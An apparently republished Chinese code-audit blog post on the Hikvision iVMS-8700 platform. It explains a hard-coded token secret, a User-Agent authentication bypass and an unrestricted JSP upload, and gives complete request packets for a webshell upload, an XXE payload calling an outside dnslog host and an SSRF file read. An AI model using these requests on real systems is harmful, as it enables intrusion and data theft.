iVMS-8700綜合安防管理平臺(tái)代碼審計(jì)
前言
群里有個(gè)師傅在問iVMS-8700綜合安防管理平臺(tái)的指紋信息,并且還說只是訪問一下/eps/api/resourceOperations/upload,很明顯,這里有個(gè)上傳
本來18號(hào)就想著寫出來的,才打完攻防,累,也就拖到了今天才寫

復(fù)現(xiàn)
最開始訪問該接口的時(shí)候,會(huì)提示 token empty

添加 token 后,會(huì)提示 token invalid

有點(diǎn)意思
于是找該師傅白嫖了poc

此時(shí)也就知道了該token的生成規(guī)則
即當(dāng)你訪問 http://x.x.x.x/eps/api/resourceOperations/upload時(shí),token=md5("http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding"),生成的hash值,字母要轉(zhuǎn)大寫
代碼審計(jì)
此時(shí)就有點(diǎn)好奇,為什么要對(duì) http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding 進(jìn)行 md5 加密,為什么直接訪問 http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding 是 404 ,這些都是我的疑問。
首先這里要分析的應(yīng)用是 eps ,即 eps.war 文件
通過之前編寫的一個(gè)獲取 spring 所有 controller 的腳本,知道了該 controller 對(duì)應(yīng)的類: com.hikvision.cms.eps.biz.operation.action.ResourceOperationAction
此時(shí)發(fā)現(xiàn),具體上傳功能是在 this.resourceOperationService.uploadResourceOperation 這里實(shí)現(xiàn),即 ResourceOperationService 類下的 uploadResourceOperation 方法。
在 uploadResourceOperation 方法里,先調(diào)用了 FileUtils 里的 uploadFile 方法
在 uploadFile 里,獲取文件后綴后( fileSuffix ),該后綴與 uuid 直接拼接
tmpPath 的值是 /upload/{uuid}.jsp
最后通過MultipartFile里的transferTo方法將該文件成功傳到服務(wù)器上
回到ResourceOperationService類下的uploadResourceOperation方法中,此時(shí)頁面回顯resourceUuid的值時(shí),也就是保存在服務(wù)器上的文件名

數(shù)據(jù)包:
POST /eps/api/resourceOperations/upload?token=xxxx HTTP/1.1
Host: x.x.x.x
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrHmpzTSMsQVHSzYI
Content-Length: 161
------WebKitFormBoundaryrHmpzTSMsQVHSzYI
Content-Disposition: form-data; name="fileUploader";filename="1.jsp"
webshell
------WebKitFormBoundaryrHmpzTSMsQVHSzYI--
此時(shí)發(fā)現(xiàn)在上傳過程中,沒有 token 的參與,因此也就可能是攔截器 Interceptor 或者過濾器 Filter 在起作用
攔截器
在 web.xml 中
springmvc處理的路由有兩種情況,分別是以/api/為開始或者是以.action為結(jié)束
這兩種都被org.springframework.web.servlet.DispatcherServlet來處理,此處是有springmvc的配置文件springmvc-servlet.xml,也就點(diǎn)進(jìn)去看看
在springmvc-servlet.xml中,有三個(gè)攔截器:
com.hikvision.cms.common.web.interceptor.HttpServiceRequestInterceptor
com.hikvision.cms.common.web.interceptor.HttpServletResponseInterceptor
com.hikvision.cms.common.web.interceptor.LicenseAuthInterceptor
很明顯,第一個(gè)攔截器是最有可能存在 token 相關(guān)規(guī)則的(因?yàn)榇颂幋嬖跈?quán)限認(rèn)證的 key ,即 secretKeyIbuilding )

該攔截器的具體代碼如下
先判斷HttpRequestUtils.requestUriStartWithApi(request)或HttpRequestUtils.requestUriEndWithService(request)的值是否為true
由于這里分析的是/api/resourceOperations/upload,因此是true,進(jìn)入if邏輯

判斷 this.mustAuthPermission() 的值是否是 true ,由于 authPermission 的默認(rèn)值是 1 ,即 "1".equals(this.getAuthPermission()) 是 true ,因此 this.mustAuthPermission() 是 true
然后獲取 token 參數(shù)的值,判斷該值和 MD5Util.md5(targetUrl + this.secretKey) 的值是否相等,即:
MD5Util.md5("http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding")
因此我們傳入的 token 值是:
MD5Util.md5("http://x.x.x.x/eps/api/resourceOperations/uploadsecretKeyIbuilding")
最后該攔截器的返回值是 true (最后一個(gè) if 邏輯不影響返回值,且只和頁面回顯的數(shù)據(jù)格式有關(guān),也就不分析)也就成功的繞過了 token 的限制
過濾器
可以看見,該過濾器沒啥好分析的。
不需要token上傳(需要偽造參數(shù))
通過上面分析可知,springmvc是可以處理.action的路由的,并且HttpServiceRequestInterceptor攔截器是只對(duì)/api/有效的
.action的過濾器在web.xml里面聲明了,是由CASFilter來處理,即:com.hikvision.cms.common.web.cas.ExtAuthenticationFilter
此時(shí)應(yīng)關(guān)注 HttpRequestUtils.requestComeFromWeChatClient(request) 的邏輯值
此時(shí)可以看見,當(dāng)請(qǐng)求頭中的 user-agent=MicroMessenger 時(shí),即可走 filterChain.doFilter(servletRequest,servletResponse); 的邏輯,也就能夠正常上傳了
不加 user-agent=MicroMessenger 時(shí),可以看見會(huì)被重定向
添加 user-agent=MicroMessenger 時(shí),上傳成功
最后的數(shù)據(jù)包:
POST /eps/resourceOperations/upload.action HTTP/1.1
Host: x.x.x.x
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
user-agent: MicroMessenger
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrHmpzTSMsQVHSzYI
Content-Length: 163
------WebKitFormBoundaryrHmpzTSMsQVHSzYI
Content-Disposition: form-data; name="fileUploader";filename="1.jsp"
111
------WebKitFormBoundaryrHmpzTSMsQVHSzYI--
其他漏洞
其他漏洞倒是沒怎么看,就發(fā)現(xiàn)了一個(gè) XXE 和 SSRF ,也就沒深入了,不過也都是垃圾洞了
XXE審計(jì)
漏洞點(diǎn): com.hikvision.cms.acs.api.http.action.HttpBlackDownloadAction

非常經(jīng)典的 XXE 漏洞模板代碼,可惜只能打個(gè) dnslog

POST /acs/api/serviceApi/blackDownload/downloadBlackCallBack?token=xxx HTTP/1.1
Host: x.x.x.x
Content-Type: application/x-www-form-urlencoded
Content-Length: 471
deviceIndexCode=1&xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22ISO-8859-1%22%20%3F%3E%0A%20%20%20%20%20%20%20%20%3C%21DOCTYPE%20example%20%5B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21ELEMENT%20example%20ANY%20%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21ENTITY%20file%20SYSTEM%20%22http%3A%2F%2F12345.33548593.ipv6.1433.eu.org%22%20%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5D%3E%0A%3Cexample%3E%26file%3B%3C%2Fexample%3E
(注: dnslog 日志是 18號(hào) 的,截圖也是 18號(hào) 的)
SSRF審計(jì)
漏洞點(diǎn):com.hikvision.cms.eps.biz.trigger.action.TriggerAction
沒啥好分析的,一眼看出

Exp:
/eps/api/triggerSnapshot/download?token=xxx&fileUrl=file:///C:/windows/win.ini&fileName=1
直接通過 file 協(xié)議讀取文件
也能修改成其他協(xié)議,比如 ftp 、 http 、 https 、 jar 、 mailto 、 netdoc 和 gopher ,但 gopher 默認(rèn)是禁用的,這部分的邏輯可以在 rt.jar 中審計(jì),也沒啥好說的,因?yàn)橹耙卜治鲞^
總結(jié)
分析完了后,感覺漏洞也沒啥,也就是基礎(chǔ)洞,正常分析就能找到。
原文鏈接:https://jdr2021.github.io/2023/05/22/iVMS-8700%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/